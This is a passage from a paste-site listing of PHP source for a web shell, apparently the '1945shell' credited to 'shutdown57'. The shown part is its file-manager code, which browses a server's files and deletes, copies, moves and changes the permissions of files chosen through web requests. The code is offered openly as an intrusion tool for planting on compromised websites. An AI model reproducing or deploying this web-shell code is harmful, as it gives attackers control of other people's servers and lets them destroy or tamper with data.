src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\">- ".$html->a("?__files__=$dir/$f&__action__=view",wordwrap($f,30,"<br/>",true),"")). $html->td($fileman->getfsize("$dir/$f")). $html->td($fileman->getmime("$dir/$f")). $html->td($fileman->getfilemtime("$dir/$f")). $html->td($fileman->getowner("$dir/$f").":".$fileman->getgroup("$dir/$f")). $html->td($fileman->getperms("$dir/$f")). $html->td($fileman->actionfile("$dir/$f"))));}if(empty($_SESSION['files_select'])){$option_oo = array(""=>"- action selected files-","delete"=>"delete","copy"=>"copy","cut"=>"cut","chmod"=>"chmod");}else{$option_oo = array(""=>"- action selected files-","paste"=>"paste here","move"=>"move here","delete"=>"delete","copy"=>"copy","chmod"=>"chmod","cancel"=>"UnSelect");foreach($_SESSION['files_select'] as $op){$optv.=$html->option($op,basename($op));} $view ="File selected : ". $html->select("__action__",$optv,"class=\"input_m\" "); $per = substr(sprintf('%o', fileperms($op)),-4);} $input_chmod = $html->input("text","mode","value=\"".$per."\"","Permission "); $input_chmod.= $html->submit("chmod","value=\">>\""); $form_chmod = $html->form("POST",$input_chmod); if(!empty($_GET['_act'])=="chmod") $chmod_form = $form_chmod; else ""; foreach($option_oo as $name=>$val){ $opt .= $html->option($name,$val); } $select = $html->select("action",$opt,"class=\"input_m\"").$html->submit("sbmt","value=\">>\" "); $html->show($html->tr("<td colspan='9'>".$select." ".$view. " ".$chmod_form."</td>")); if(isset($_POST['sbmt'])){if(!empty($_POST['seldir'])){ $seldir = $_POST['seldir'];if($_POST['action']=='delete'){if(is_array($_POST['seldir'])){ foreach($seldir as $deldir){$act->delete($deldir);$html->show("<meta http-equiv='refresh' content='0;url='>"); }}else{$act->delete($seldir);$html->show("<meta http-equiv='refresh' content='0;url='>"); }}}if(!empty($_POST['selfile'])){ $selfile = $_POST['selfile']; if($_POST['action']=='copy'){$_SESSION['files_select']= array();$n=0;foreach($_POST['selfile'] as $filesel){ $_SESSION['files_select'][$n++] = $filesel; $html->show("<meta http-equiv='refresh' content='0;url='>");}}elseif($_POST['action']=='delete'){if(is_array($_POST['selfile'])){ foreach($selfile as $delfile){ $act->delete($delfile); $html->show("<meta http-equiv='refresh' content='0;url='>");}}else{$act->delete($selfile); $html->show("<meta http-equiv='refresh' content='0;url='>");}}elseif($_POST['action']=='extract'){$_SESSION['files_select']=array(); $n=0; foreach($_POST['selfile'] as $filesel){$_SESSION['files_select'][$n++]=$filesel;$html->show("<meta http-equiv='refresh' content='0;url='>");}}elseif($_POST['action']=='chmod'){ $_SESSION['files_select']=array(); $n=0; foreach($_POST['selfile'] as $pile){$_SESSION['files_select'][$n++]=$pile;} $html->show("<meta http-equiv='refresh' content='0;url=?_act=chmod'>"); } if($_POST['action']=='cut'){$_SESSION['files_select']=array(); $n=0; foreach($_POST['selfile'] as $pp){$_SESSION['files_select'][$n++]=$pp;}$html->show("<meta http-equiv='refresh' content='0;url='>");}} if($_POST['action']=='paste'){foreach($_SESSION['files_select'] as $fs){copy($fs,$dir."/".basename($fs));unset($_SESSION['files_select']);$html->show("<meta http-equiv='refresh' content='0;url='>");}} } if($_POST['action']=='cancel'){unset($_SESSION['files_select']); $html->show("<meta http-equiv='refresh' content='0;url='>");} if($_POST['action']=='move'){foreach($_SESSION['files_select'] as $fs){copy($fs,$dir."/".basename($fs)); unlink($fs); unset($_SESSION['files_select']);$html->show("<meta http-equiv='refresh' content='0;url='>"); }} if(isset($_POST['chmod'])){ $perms = 0; for($i=strlen($_POST['mode'])-1;$i>=0;--$i){ $perms += (int)$_POST['mode'][$i]*pow(8, (strlen($_POST['mode'])-$i-1));} foreach($_SESSION['files_select'] as $file_chmod){ if(!@chmod($file_chmod,$perms)){$html->show("<script>alert('failed change Permission'); window.location.href='?';</script>");}else{$html->show("<script>alert('Successfuly change Permission!'); window.location.href='?';</script>"); unset($_SESSION['files_select']);}}}$html->show("</table>");}$html->show($html->footer());
  34. /*
  35. @ Big Thanks To JavCode | http://javacoderules.io | https://javcode.jp
  36. @ Find Our Project In Github : https://github.com/alintamvanz/1945shell
  37. */
  38. ?>
  39. <!-- copyright (c) 2017 shutdown57 - IndonesianPeople -->
  40. <!-- indonesianpeople.shutdown57@gmail.com | indonesianpeople@yandex.com -->
Add Comment
Please, Sign In to add comment